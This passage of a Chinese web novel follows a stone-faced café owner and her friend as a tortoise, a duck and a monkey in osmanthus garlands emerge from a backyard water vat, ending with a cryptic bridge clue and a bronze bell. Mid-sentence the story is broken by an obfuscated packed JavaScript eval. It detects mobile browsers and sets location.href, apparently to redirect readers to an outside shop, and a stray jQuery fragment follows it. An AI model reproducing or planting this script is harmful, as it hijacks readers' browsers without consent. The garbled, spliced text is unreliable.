清晨，江南小镇的雾气还未散尽。青石板路湿漉漉的，昨夜的桂花香却似乎还残留在空气中，淡淡地随风飘荡。
苏不予推开咖啡店的门，把“营业中”的牌子挂好，神色冷漠。
内心：
——“昨晚那只桂花乌龟到底什么来头？整得我一晚上没睡好。现在出门闻见桂花味，我都条件反射想往后院跑！”
吴澄澄早早来了，神采飞扬地站在柜台旁，一脸骄傲：“不予，你知道吗？今天镇上到处都在说昨晚的事！”
苏不予冷声：“什么事。”
内心：
——“不用说我也知道，八成就是水缸乌龟桂花香！小镇传话速度比我磨豆机还快！”
很快，第一个“常客”上门了。
钓鱼佬照例点了杯冰美式，端在手里，满脸兴奋：“老板娘，你昨晚是不是也闻到了？那桂花香简直神了！我在河边打盹都被香醒了！”
苏不予冷冷：“不清楚。”
内心：
——“清楚得要死啊！乌龟一爬出来我差点没被香熏晕！”
渔夫哈哈大笑：“我看啊，这准是好兆头！小镇今年秋收要大丰收！”
苏不予冷漠：“随你说。”
内心：
——“丰收个鬼！要真是兆头，那也是妖孽兆头！昨晚那只乌龟背壳都快成香薰炉了！”
紧接着，织布娘也来了，抱着一匹新布。她轻轻点了一杯桂花拿铁，抿了一口，若有所思地说：“昨夜桂香浓得出奇，我还以为是谁在院子里祭祀花神。”
苏不予冷淡：“也许是风。”
内心：
——“对对对，就是风！风吹桂花吹到乌龟壳上，这解释完美！”
织布娘微微一笑：“风也好，人也罢，反正这味儿像是在提醒我们些什么。”
苏不予冷脸：“提醒什么？”
“命里自有定数。”织布娘悠悠吐出这句话，低头继续喝咖啡。
苏不予：“……”
内心：
——“你们已经够不正常了，能不能别整这种玄学台词？！而且我现在很焦虑了！”
李叔这时姗姗来迟，长衫飘飘，折扇轻摇，一进门就抬头吟道：
“昨夜桂香漫江南，梦回故人影阑珊。”
吴澄澄立刻拍手：“好诗好诗！”
苏不予冷漠地把黑咖啡放到他桌上：“老样子。”
内心
——“：大哥，你能不能收敛点？！昨晚你吟“鬼魂亲”，今天又搞“影阑珊”，我快怀疑你就是幕后编剧了！”
李叔眯着眼，似笑非笑地说：“阿予啊，这镇子安静太久了。昨夜的香气，不像寻常。”
苏不予冷冷：“桂花开了。”
内心：
——“瞎掰！小镇桂花树昨天明明没开！要开也不会集体掉进一只乌龟背壳里啊！”
咖啡店里热闹起来，大家七嘴八舌地聊着昨晚的“桂花奇闻”。有人说是神明显灵，有人说是老祖宗保佑，甚至有人笑说是小镇要出个“天命之人”。
吴澄澄趴在柜台上，神秘兮兮地补了一句：“说不定那天命之人就在我们身边。”
众人哄笑起来，有的半开玩笑地看向苏不予：“阿予啊，昨晚你闻到没有？你脸色看着最稳，说不定你就是那个天命之人呢。”
苏不予冷冷：“别胡说。”
内心：
——“稳个鬼！昨晚我心脏都快跳出嗓子眼了！要不是冷脸护体，现在我已经成镇上第一个精神失常咖啡店老板了！”
吴澄澄一脸得意，压低声音说：“呵呵，你们都不知道，昨晚我可是亲眼见证的。”
钓鱼佬来了兴趣：“哟，小姑娘，你见到什么了？”
吴澄澄立刻挺胸，眉飞色舞：“我当然不能全说，不过吧，总之——特别惊险特别刺激！反正比你们想象的要厉害一百倍！”
苏不予冷冷：“别添油加醋。”
内心：
——“妈呀！你闭嘴啊！再说两句估计大家今晚就来我店门口蹲点看妖怪直播了！”
众人越说越热闹，咖啡店里气氛反倒像个茶楼。有人开始打赌，说不定今晚还会有“异香”，还有人提议要不要一起去后院看看。
苏不予眼皮一跳，立刻冷声：“不许进后院。”
场面瞬间安静几秒。
她面色淡淡，补了一句：“私地。”
众人尴尬一笑，连忙摆手说不去。可笑声和窃窃私语仍旧没停，仿佛昨晚的古怪成了整个小镇茶余饭后的新谈资。
苏不予依旧冷脸伫立在柜台后。可心里已经彻底崩溃：
——“完了！昨晚那只桂花乌龟一出场，整个小镇都嗅到不对劲了！接下来还不知道要闹出什么妖孽事！我怎么就摊上这种事？！”
她抿了口咖啡，苦得牙根直酸，却强撑着冷漠表情，仿佛与外界的喧嚣毫无关联。
可她知道，夜晚的试炼，还远远没结束。
夜色再次笼罩江南小镇。河面闪着灯笼倒影，偶尔有船桨划过，水声与蛙鸣交织。
苏不予关掉咖啡机，冷冷扫视店里一圈，确认都收拾妥当。
“回家去。”她对吴澄澄冷声。
吴澄澄早早抱着枕头和被子坐在椅子上，一脸理直气壮：“不回。昨晚有乌龟，今晚我得看个续集。”
苏不予冷冷：“你就不怕续集里有鬼？”
吴澄澄打了个哆嗦，但立刻又挺直腰杆：“我不怕！大不了就抱着你！”
苏不予：“……”
内心：
——“你别抱！我冷脸再硬也经不住你这一抱啊！昨晚差点被你勒出肋骨裂痕！”
夜风灌进来，风铃声清脆，像是有人故意挑拨。
豆沙蜷在柜台上，尾巴轻轻扫动，看似无事，却不时抬头盯着门口。狸猫依旧占据冰箱顶，闭眼假寐，但耳朵竖得笔直。
苏不予表面冷漠，心里早已神经紧绷。
内心：
——“昨晚搞桂花乌龟，今晚要搞什么？桂花鲤鱼？桂花□□？妖怪们是不是开了个“水缸动物派对”？！”
午夜时分，后院果然传来动静。
“咕噜咕噜……”
这次声音更沉重，好像有什么庞然大物在水里翻身。
吴澄澄眼睛瞪圆，哆嗦着挤到苏不予身边：“不予……它、它又开始了！”
苏不予冷冷：“冷静。”
内心：
——“冷静个鬼啊！我现在冷得都快僵硬了！”
“扑通——”
水声骤然加大，似乎有什么东西冲出了水缸。随即，后院笼罩上一股淡淡的雾气，雾里夹杂着……桂花香。
吴澄澄声音颤抖：“它是不是……又出来了？！”
苏不予冷冷：“看一眼就知道。”
内心：
——“别看！千万别看！看一眼今晚就别睡了！”
她硬着头皮，和吴澄澄一起推开后门。
院子里，水缸边果然笼罩着薄雾。桂花瓣随风飘落，落在石板上，像有人提前布置的舞台。
“咕咚——”
水面再次翻腾，一个黑影缓缓浮出。
吴澄澄尖叫：“脸！是脸！！”
苏不予冷脸一沉：“别叫。”
内心：
——“天啊！还真是脸啊！又来了！这玩意儿要不要这么执着？！乌龟你昨天挺好，怎么今天换脸了？！”
那张脸渐渐浮现，比昨晚更清晰，五官模糊，却笑得阴森。它的嘴角缓缓张开，声音低沉：“等……”
吴澄澄全身都在抖：“它、它又说‘等’！等什么啊？！”
苏不予冷冷：“闭嘴。”
内心：
——“我也想问！等啥？！等外卖员送奶茶吗？！”
气氛紧绷到极点时，忽然“噗嗤”一声，水面又翻开，一只湿漉漉的……鸭子扑腾着爬出来。
它脖子上挂着一串桂花，扑棱着翅膀，嘴里还“嘎嘎”叫。
吴澄澄：“？？？”
苏不予冷冷：“鸭子。”
内心：
——“哈哈哈哈哈哈哈！我靠！昨晚是桂花乌龟，今晚是桂花鸭？！水缸底是妖怪的动物园吗？！”
鸭子扑腾几下，摇摇摆摆走到院子里，低头“嘎”了一声，然后一屁股坐在地上，甩出一堆桂花瓣。
吴澄澄吓懵：“阿予……这是……妖鸭吗？！”
苏不予冷冷：“普通鸭。”
内心：
——“没错，普通的妖鸭！自己从水缸里冒出来？！还带桂花项链！”
豆沙跳到门槛上，直勾勾地盯着那只鸭子，尾巴一甩一甩。狸猫缓缓睁开眼，似乎在冷冷打量。
鸭子抖了抖翅膀，又扑腾两下，居然直接回到水缸里，“扑通”一声不见了。
院子再次安静，只剩下桂花香气。
吴澄澄整个人抱住苏不予，哭笑不得：“阿予！你说这是啥情况？！昨天乌龟，今天鸭子，明天是不是来个桂花猪啊？！”
苏不予冷冷：“不知道。”
内心：
——“别说了！要是真来猪，我得当场搬家！”
她转身关上门，神情冷漠，像什么都没发生。可心里早就抓狂：
——“这水缸到底要折腾多久？！我一个普通咖啡店老板，怎么每天都要上演“后院惊魂”？！”
夜风吹过，她的冷脸依旧如冰，可背脊却凉得像泡在水缸里。
第二天一早，小镇的青石板路又热闹起来。不同的是，这次空气里弥漫的，不仅有桂花香，还有一股“集体嗨聊”的氛围。
苏不予把“营业中”的牌子挂好，冷冷走进柜台，准备磨豆子。
内心：
——“完蛋了，昨晚的鸭子肯定传遍了。小镇上的人八卦能力比Wi-Fi信号还强，估计我店里今天要被堵爆。”
果然，没过多久，钓鱼佬第一个冲了进来。
“阿予！昨晚你闻见没有？！”钓鱼佬兴奋得两眼放光，“我听见水里嘎嘎声，我还以为是邻居家养的鸭子跑了，结果有人说是水缸冒出来的！”
苏不予冷冷：“没注意。”
内心：
——“好你个吴澄澄，保密手册都白学了吗？！”
钓鱼佬振振有词：“我觉得这事有门道。乌龟属水，鸭子属水，昨晚接连出现，不就是风调雨顺的预兆吗？！”
苏不予冷冷：“随你说。”
内心：
——“风调雨顺你妹啊！照这发展下去，估计下周直接蹦出一条桂花龙！”
接着，织布娘也来了，轻轻点了杯桂花拿铁，眯着眼笑：“昨晚那声‘嘎’，传遍整条巷子。有人说，是天降祥瑞。”
苏不予冷声：“鸭子而已。”
内心：
——“屁的鸭子而已！普通鸭子会自己从水缸跳出来，再跳回去？！”
织布娘摇头轻笑：“凡事不可轻视。”
苏不予：“……”
内心：
——“你们一个个能不能别神秘兮兮的？！我已经快被桂花味熏到失忆了！”
李叔这时姗姗来迟，长衫飘飘，折扇一甩，一开口就是诗：
“昨夜桂花随风舞，忽闻水上鸭声长。若问何处生奇事，江南巷陌笑声香。”
店里瞬间一片安静。
这时，及时赶过来照顾“奶奶”的吴澄澄立刻拍手：“妙啊妙啊！李叔，你这诗一出口，简直把昨晚的画面还原了！”
苏不予冷冷：“喝咖啡吧。”
内心：
——“妙蛙种子啊你们妙来妙去的！你们昨晚都没亲眼看见，那鸭子脖子上挂的桂花项链闪闪发光，我当时差点笑出声！这画面要真还原，你们早哭着跑了！”
李叔喝了一口黑咖啡，抬眼意味深长地说：“阿予啊，你总说没什么，可这异象，分明与你有缘。”
苏不予冷冷：“和我无关。”
内心：
——“别扯我啊！我只想安安静静卖咖啡！我不要和鸭子结缘！”
随着时间推移，咖啡店越来越热闹，游客也被吸引进来，大家都在七嘴八舌地聊昨晚的“桂花鸭”。
有人说：“这事儿肯定是老祖宗显灵。”
有人说：“八成是阿予家祖坟冒青烟。”
甚至还有人拍着桌子大笑：“说不定阿予是命定的‘鸭神使者’！”
吴澄澄立刻插话：“嘿嘿，你们可不知道，昨晚我就在现场！亲眼看见的！那鸭子可不一般！”
众人立刻围住她：“快说快说！”
吴澄澄挺起胸膛，神采飞扬：“那鸭子浑身闪光，背后简直有神光环绕！它一出现，空气里全是桂花香！要不是我机智勇敢，还不定出啥大事呢！”
苏不予冷冷：“少吹牛。”
内心：
——“机智勇敢个鬼！你当时吓得抱着我抖得比筛子还厉害！你要是勇敢，那鸭子昨天就直接被你吓跑了！”
吴澄澄得意洋洋：“反正我是见证人，你们信不信随便。”
钓鱼佬眼睛发亮：“阿予啊，你要是真是鸭神使者，能不能赐我几只鸭子，让我秋天多卖点钱？”
苏不予冷冷：“滚。”
内心：
——“赐你个鬼！我自己现在都快被鸭子支配了！”
咖啡店像个临时议事堂，人人都在兴奋地讨论。有人说要请风水先生来看看，有人说要写进小镇志里。甚至有人提议搞个“桂花鸭节”。
苏不予冷冷：“你们有病。”
内心：
——“天呐，还搞节日？！桂花鸭节？到时候是不是要拉我当吉祥物？！”
吴澄澄笑得上气不接下气：“阿予，你冷着脸也没用！全镇人现在都觉得你跟这事有关系。你就是桂花鸭的代言人！”
苏不予冷冷：“闭嘴。”
内心：
——“救命！我只想卖咖啡，不想代言鸭子啊啊啊！”
——“吴澄澄，要是哪一天我被抓取展览了，你就是罪魁祸首！”
她抿了一口咖啡，脸色依旧冷漠，仿佛世外高人。可心里已经彻底乱成一锅粥：
——“这发展方向不对啊！要是每天都有新动物跳出来，我是不是得天天面对全镇联名八卦？！这咖啡店还怎么开？！”
风铃叮当响起，冷风灌进来，桂花香再一次在空气里弥漫。苏不予心头一紧，知道今晚的“续集”，恐怕又要开始了。
夜色渐深，江南小镇的巷子安静下来，只有偶尔的犬吠和河水拍岸声。灯笼的光在石板路上摇曳，把阴影拉得老长。
苏不予合上账本，冷冷一句：“走吧。”
吴澄澄正裹着被子躺在咖啡店的沙发上，抱着一袋瓜子，一脸理直气壮：“不走！昨晚有鸭子，今晚说不定有鹅！我要追更！”
苏不予冷冷：“你以为这是电视剧？”
内心：
——“天啊，昨晚桂花鸭已经让我心梗到凌晨三点，今晚你还嚷嚷鹅？！要是真来一只桂花鹅，我是不是得去庙里求签？”
夜风吹进来，风铃叮当作响。豆沙趴在柜台上，一副“见怪不怪”的表情；狸猫仍旧蹲在冰箱顶，眯着眼，却悄悄把尾巴拍打着柜子，像在提醒苏不予注意后院。
苏不予脸色冷漠，心里早就慌成一团：
内心：
——“糟了！这尾巴一拍就是“危险警报”。昨晚鸭子，前晚乌龟，今天到底什么？不会是水缸开动物园周年庆典吧？！”
午夜时分，后院传来熟悉的“咕噜咕噜”声。
吴澄澄差点把瓜子壳喷出来：“来了来了！阿予你听！它又要出来了！”
苏不予冷声：“别叫。”
内心：
——“别叫？我才想叫啊！每次水声一响，我的心脏就自带低音炮！”
水缸里的水开始翻腾，溅出大片水花。夜风吹过，桂花瓣从不知道哪里的方向飘落，落在水面上，竟然随着涌动拼成一个圆形。
吴澄澄哆嗦：“阿予，这是不是阵法啊？！”
苏不予冷冷：“不是。”
内心：
——“是啊！简直比阵法还吓人！要不是冷脸护体，我早就跪地磕头了！”
随着“咕咚”一声巨响，一个黑影猛地浮出水面。
吴澄澄吓得“啊——”地一声扑到苏不予身上。
苏不予面无表情：“放开。”
内心：
——“抱紧点啊啊啊啊！我也怕！”
水面逐渐平静下来，一个小小的身影从缸里慢慢爬了出来。
灯光一照——竟然是一只……戴着桂花花环的小猴子。
吴澄澄目瞪口呆：“？？？”
苏不予冷淡：“猴子。”
内心：
——“哈哈哈哈哈哈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677176|188695||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
！桂花猴？！！水缸你到底是个什么鬼综艺节目现场？！”
那猴子抖了抖毛，伸手摘下头上的桂花花环，啪地丢在地上，然后直挺挺站起来，双手抱胸，居然学人一样咳嗽了一声。
吴澄澄整个人傻掉：“它、它刚刚是不是咳嗽了？！”
苏不予冷冷：“幻听。”
内心：
——“幻听！？我明明也听见了！而且还带回声！这猴子怕不是准备开口说人话？！”
猴子歪着脑袋打量她，黑豆似的眼睛滴溜溜一转，神情认真得过分，好像在审稿。它忽然抬爪，冲苏不予做了个——极其标准的“噤声”手势：食指贴嘴，轻轻“嘘”。
苏不予面无表情，心里已经翻完整柜的脏字典：
——“你还会嘘？！谁教你的文明礼貌？！水缸夜校开课了？”
猴子“嘘”完，蹬蹬两步，竟直奔吧台。它脚尖轻盈，踩在木板上的声音很轻，像有备而来。吴澄澄整个人贴在苏不予背后，一手揪着她风衣的角，一手指着猴子的背影，连连戳空气：“阿——阿予，它、它、它要干嘛？！”
“偷糖。”苏不予冷冷开口。
内心：
——“不赌不行，它那眼神一看就是冲方糖来的。前两晚是‘桂花味’，今晚改‘甜口’了？水缸你很会调口味诶！”
果不其然，猴子跳到吧台，伸爪掀开方糖罐的盖子，嗅一嗅，满意地点头，三下五除二抓了两粒塞到嘴里，又抓了两粒，塞进胸口那一圈桂花花环里当口袋，顺手还把盖子盖回去——动作娴熟得像老员工。
吴澄澄当场破音：“它、它还会收拾现场？！”
苏不予：“卫生意识不错。”
内心：
——“卫生意识不错个鬼！你要是不顺手把我店里的量勺也揣走就更不错了！”
猴子吃完糖，目光一转，落到咖啡机上。它仰头观察，脑袋瓜左右各歪四十五度，像个研究生看实验台。紧接着，它跳到磨豆机前，伸爪——按！按——没按到，按第二次，叮的一声，磨豆机轰然作响。
吴澄澄“嗷”地一嗓子，差点把魂儿叫出去：“它会开机？！！”
苏不予走上前，一把扯下电源：“停。”
内心：
——“别闹，我可不想见识‘夜半猴子拉单品’。一旦它把锅炉点着，明天我就得对着消防队解释‘水缸分派员工夜训’了！”
猴子被断了电，抿嘴，一脸“你坏我雅兴”的表情。它环顾四周，忽然又冲苏不予做了个“摊手”的动作，像在讲：“那你来。”
苏不予面无表情地站着不动。她没动，心里已经把“绝不配合水缸课程”的横幅拉了三条：
——“演到这份上是吧？你想看我给你打样？想得美。今晚到此为止，明天照常卖咖啡，谁也别想把我拉进‘非人类培训班’！”
猴子见她不动，叽里咕噜小声嘟囔——听不清是不是人话，总之有节奏，还夹着两声“咳”。它似乎叹了口气，拎起桂花花环，跳下吧台，转身走到后门口，又回头看了一眼，目光里是一本正经的提示：跟上。
吴澄澄“唔”地一声，死死贴住苏不予：“你别跟！千万别！这就是恐怖片里第一条不能破的生存法则！跟了就死！”
苏不予脸冷得像琉璃：“我不跟。”
内心：
——“我真的不跟！就算它扭着花环跳广场舞我也不跟！”
猴子看她不动，似乎无奈，抬爪在地上飞快划了几下。那是一直以来最要命的部分——没有发声、没有解释，只有简化到骨头渣的符号。桂花瓣被它指腹拨拉出一个图案：一弯水波、一个圆圈、一道短横。
吴澄澄看半天：“……看不懂啊，这不是小学美术课吗？”
苏不予盯了几秒，背脊“嗒”地凉了一下。她把那三样凑成语义：河、日出、桥。
猴子点头，补了一瓣，按在图案的上方——成了四个元素：河、日出、桥、八。
八点。
或者——八号桥。
内心：
——“你们这群“不属于这儿”的东西，是不是开会全用图形？就不能给我写一句完整中文？！”
猴子确认她看懂了似的，把桂花花环往头上一戴，抱拳（？）一拱，竟然学着人行了个礼，然后嗖地一跃，像一团影子扑进后门黑影里。下一瞬，后院水缸“咕咚”一声，雾散香淡，安静得像什么都没来过。
屋里只剩四个生物：一个冷脸人类、一个抖到脚软的人类、一个“见怪不怪”的猫、一个“高冷观察员”狸猫。
吴澄澄慢慢直起身，声音发虚：“阿予……刚才那是……猴、猴神托梦？它是让我们明天八点去看日出？还是去八号桥？！”
苏不予抿了抿唇，淡声：“巧合。”
内心：
——“一点也不巧，简直是在拿灯牌指我：八点、河边、桥。和那张水缸里的脸说的“等”一起看，像是把我往水边“请”。”
狸猫从冰箱顶跃下，落地无声，绕着那几瓣桂花走了一圈，然后很认真地把花瓣推得更规整。整个图案被它“修订”得像地图标记。它没出声，只抬头和苏不予对视了一下——那是一种“你要决定”的眼神。
——不能在吴澄澄面前开口。
——但可以用手势、用动作，把“去或不去”的主动权推回她手上。
“睡觉。”苏不予把后门关上，轻轻插闩，语气平得像一杯温水。
内心：
——“我知道我会去。因为不去，怪事也会自己找上门；去，起码能把主动权从水里捞一点上来。”
吴澄澄还想吭声。苏不予回头，清清冷冷地看她一眼：“今晚到此为止。”
这眼神太熟悉了——“冷脸女王不接招”。吴澄澄把到了嘴边的“我陪你”吞回去，改成抱着被子咕哝：“那我打地铺，你别拒绝。我、我可以不说话……我就当一个静音抱枕。”
苏不予没拒绝，只是关了大灯，留一盏台灯在吧台后，暖黄的光把店面切成安稳的两半。
豆沙跳到窗台，侧卧成一弯月，眼睛却始终对着门缝。狸猫跳回冰箱顶，蜷成一团，但尾尖一下一下敲着金属面——滴答、滴答——像是给午夜倒计时。
清晨还没醒来的那一刻，古镇的水在雾里轻轻动。
苏不予在半梦半醒之间，被一种极轻的敲击唤醒。
不是门。
是——玻璃。
她睁眼，第一反应是看向窗台。豆沙已经坐起，耳朵朝前。狸猫不知何时下了冰箱，站在窗边，背影像一截雕出来的檐角。
“叩、叩。”
两声极轻。像从河那边被雾递过来的手指，碰了碰她的店门玻璃。
苏不予坐起，表情还是那么冷。她从柜台里抽出围裙，慢条斯理地系上，像是在为一天的营业做准备，又像在为一场会面穿上制服。她走向门口，指尖搭上门把，停了两秒。
内心：
——“八点前。河。桥。你们要我“等”的，大概就是现在。”
门开了一条缝。雾像温吞的水灌进来，桂花香若有若无。门外，没有人影。只有对岸朦胧的桥线，在晨色里露出一个弧度。
地上，安安静静放着一只旧铜铃。小巧，发青，铃舌还在，边口刻着两道浅浅的浪纹。
它不响。
但苏不予在心里听见了——一种“召唤”的回声，像从很远、又从很近的地方同时传来。
她把铜铃捡起，掌心一沉，冰凉入骨。回头时，吴澄澄也醒了，眼睛睁得大大的：“阿予……外面有人吗？”
“没有。”苏不予把铜铃放进围裙口袋，语气平静，“开门。”
内心：
——“八号桥，八点前。你们要我去，我就去。可怎么去、带谁去、做什么——我说了算。”
风铃叮当，店里灯光一盏盏亮起，像把夜里残余的影子一点点赶到角落。豆沙跳下窗台，尾巴扫过她的小腿；狸猫在她脚边停了一秒，抬头看她，又先一步走向门槛，像一个哑默的前导者。
苏不予抿直嘴角，把冷脸戴好。她对自己说：
——“冷静。去看桥，也许什么都不会发生；也许所有事，从那里开始。”
这一晚，猴子留下了图案，铜铃留下了方向。
这座江南小镇，在晨雾里，正把一条看不见的路推到她脚下。
她迈出去的那刻，心里依旧抓狂，但步子极稳。像每一个清晨开门一样稳。